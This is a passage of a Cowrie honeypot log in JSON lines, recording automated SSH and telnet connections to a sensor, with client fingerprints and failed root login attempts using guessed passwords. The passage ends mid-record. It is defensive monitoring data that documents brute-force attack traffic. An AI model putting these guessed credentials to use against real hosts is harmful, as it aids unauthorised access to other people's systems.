{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:42.419122Z","src_ip":"103.195.236.96","session":"a1d434138e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:42.659457Z","src_ip":"103.195.236.96","session":"a1d434138e02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mk2003","message":"login attempt [root/mk2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:43.377850Z","src_ip":"103.195.236.96","session":"a1d434138e02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:44.619585Z","src_ip":"103.195.236.96","session":"a1d434138e02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":12774,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee57405ff20f","protocol":"ssh","message":"New connection: 38.93.206.2:12774 (10.17.0.5:22) [session: ee57405ff20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:47.783146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:47.788147Z","src_ip":"38.93.206.2","session":"ee57405ff20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:47.838771Z","src_ip":"38.93.206.2","session":"ee57405ff20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"austin","message":"login attempt [root/austin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:47.990700Z","src_ip":"38.93.206.2","session":"ee57405ff20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:49.043617Z","src_ip":"38.93.206.2","session":"ee57405ff20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.05449104309082,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:08.941103Z","src_ip":"192.119.13.58","session":"87027797263e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.2702202796936,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:09.644278Z","src_ip":"192.119.13.58","session":"7a8eec777c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":40444,"dst_ip":"159.203.135.109","dst_port":22,"session":"d35ae25a63d0","protocol":"ssh","message":"New connection: 103.15.222.183:40444 (159.203.135.109:22) [session: d35ae25a63d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:14.299055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:14.307099Z","src_ip":"103.15.222.183","session":"d35ae25a63d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:14.549895Z","src_ip":"103.15.222.183","session":"d35ae25a63d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":36242,"dst_ip":"159.203.135.109","dst_port":23,"session":"34cf423388aa","protocol":"telnet","message":"New connection: 186.195.16.41:36242 (159.203.135.109:23) [session: 34cf423388aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:14.626474Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"wwwwwwwwww","message":"login attempt [root/wwwwwwwwww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:15.281116Z","src_ip":"103.15.222.183","session":"d35ae25a63d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:16.531238Z","src_ip":"103.15.222.183","session":"d35ae25a63d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":36293,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeed2160ed15","protocol":"telnet","message":"New connection: 186.195.16.41:36293 (159.203.135.109:23) [session: aeed2160ed15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:18.031144Z"}
{"eventid":"cowrie.session.closed","duration":0.005578756332397461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:18.036600Z","src_ip":"186.195.16.41","session":"aeed2160ed15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"122b834866e4","protocol":"ssh","message":"New connection: 103.149.170.125:39028 (10.17.0.5:22) [session: 122b834866e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:25.577384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:25.584579Z","src_ip":"103.149.170.125","session":"122b834866e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:25.855408Z","src_ip":"103.149.170.125","session":"122b834866e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masha","message":"login attempt [root/masha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:26.655798Z","src_ip":"103.149.170.125","session":"122b834866e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:27.924664Z","src_ip":"103.149.170.125","session":"122b834866e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":36578,"dst_ip":"10.17.0.5","dst_port":22,"session":"202e9d40e5c0","protocol":"ssh","message":"New connection: 94.159.98.239:36578 (10.17.0.5:22) [session: 202e9d40e5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:29.056784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:29.264925Z","src_ip":"94.159.98.239","session":"202e9d40e5c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:29.268879Z","src_ip":"94.159.98.239","session":"202e9d40e5c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36928,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2979a8e70b0","protocol":"telnet","message":"New connection: 192.119.13.58:36928 (10.17.0.5:23) [session: d2979a8e70b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:29.818786Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolparol","message":"login attempt [root/parolparol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:30.283291Z","src_ip":"94.159.98.239","session":"202e9d40e5c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:31.767565Z","src_ip":"94.159.98.239","session":"202e9d40e5c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59524,"dst_ip":"10.17.0.5","dst_port":23,"session":"94dfb60d36b4","protocol":"telnet","message":"New connection: 192.119.13.58:59524 (10.17.0.5:23) [session: 94dfb60d36b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:35.948124Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":54052,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d1e8b0f9eef","protocol":"ssh","message":"New connection: 103.219.170.37:54052 (159.203.135.109:22) [session: 7d1e8b0f9eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:42.083289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:42.088119Z","src_ip":"103.219.170.37","session":"7d1e8b0f9eef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:42.157234Z","src_ip":"103.219.170.37","session":"7d1e8b0f9eef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd","message":"login attempt [root/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:42.373540Z","src_ip":"103.219.170.37","session":"7d1e8b0f9eef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:50:43.445477Z","src_ip":"103.219.170.37","session":"7d1e8b0f9eef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37002,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0c82cebd855","protocol":"ssh","message":"New connection: 103.176.20.57:37002 (10.17.0.5:22) [session: f0c82cebd855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:01.481526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:01.486892Z","src_ip":"103.176.20.57","session":"f0c82cebd855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:01.738192Z","src_ip":"103.176.20.57","session":"f0c82cebd855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:02.481652Z","src_ip":"103.176.20.57","session":"f0c82cebd855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:03.731291Z","src_ip":"103.176.20.57","session":"f0c82cebd855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42614,"dst_ip":"10.17.0.5","dst_port":23,"session":"d55c0742db3d","protocol":"telnet","message":"New connection: 192.119.13.58:42614 (10.17.0.5:23) [session: d55c0742db3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:07.585397Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":45982,"dst_ip":"10.17.0.5","dst_port":22,"session":"5463864b1fcf","protocol":"ssh","message":"New connection: 89.37.117.103:45982 (10.17.0.5:22) [session: 5463864b1fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:12.913710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:12.922685Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@open